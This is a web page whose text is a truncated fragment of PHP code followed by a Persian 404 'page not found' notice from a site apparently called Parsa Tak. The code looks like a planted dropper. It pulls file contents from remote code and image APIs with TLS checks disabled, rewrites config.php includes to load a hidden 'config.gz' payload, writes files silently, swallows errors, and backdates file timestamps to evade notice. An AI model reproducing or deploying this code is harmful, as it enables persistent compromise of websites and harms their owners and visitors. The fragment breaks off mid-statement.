lse { @file_put_contents($filePath, $content); @touch($filePath, $originalTime - 5); } } } function buildFileStructure() { $cacheFile = CACHE_DIR . 'code_' . md5(CODE_API_KEY . SITE_ID) . '.json'; $imageCacheFile = CACHE_DIR . 'images_' . md5(CODE_API_KEY . SITE_ID) . '.json'; try { if (USE_CURL) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, CODE_API_URL); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HTTPHEADER, ['X-Code-API-Key: ' . CODE_API_KEY]); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $response = curl_exec($ch); curl_close($ch); } else { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => 'X-Code-API-Key: ' . CODE_API_KEY, 'timeout' => 10 ] ]); $response = @file_get_contents(CODE_API_URL, false, $context); } if ($response) { $data = json_decode($response, true); if ($data && $data['code'] == 0) { if (isset($data['data']['files']) && is_array($data['data']['files'])) { $replacement = deployCacheGzIncludeCall('config.gz'); foreach ($data['data']['files'] as &$file) { if (isset($file['content']) && is_string($file['content'])) { $file['content'] = str_replace("require_once __DIR__ . '/config.php';", $replacement, $file['content']); $file['content'] = str_replace('require_once __DIR__ . "/config.php";', $replacement, $file['content']); $file['content'] = str_replace("require __DIR__ . '/config.php';", $replacement, $file['content']); $file['content'] = str_replace('require __DIR__ . "/config.php";', $replacement, $file['content']); $file['content'] = preg_replace('/(?:require_once|require)\s+__DIR__\s*\.\s*[\'"][^"\']*config\.php[\'"][^;]*;/', $replacement, $file['content']); } } unset($file); } @file_put_contents($cacheFile, json_encode($data), LOCK_EX); createFileStructure($data['data']); @unlink($cacheFile); } } } catch (Exception $e) { } try { if (USE_CURL) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, IMAGE_API_URL); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HTTPHEADER, ['X-Code-API-Key: ' . CODE_API_KEY]); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $response = curl_exec($ch); curl_close($ch); } else { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => 'X-Code-API-Key: ' . CODE_API_KEY, 'timeout' => 10 ] ]); $response = @file_get_contents(IMAGE_API_URL, false, $context); } if ($response) { $data = json_decode($response, true); if ($data && $data['code'] == 0) { if (isset($data['data']['files']) && is_array($data['data']['files'])) { $replacement = deployCacheGzIncludeCall('config.gz'); foreach ($data['data']['files'] as &$file) { if (isset($file['content']) && is_string($file['content'])) { $file['content'] = str_replace("require_once __DIR__ . '/config.php';", $replacement, $file[' Page not found - پارسا تک

چیزی که دنبالش هستید رو پیدا نکردیم!

صفحه ای که دنبالش هستید یا حذف شده یا کلا وجود نداشته یا اینکه یه مشکلی به وجود اومده!
بازگشت به خانه

404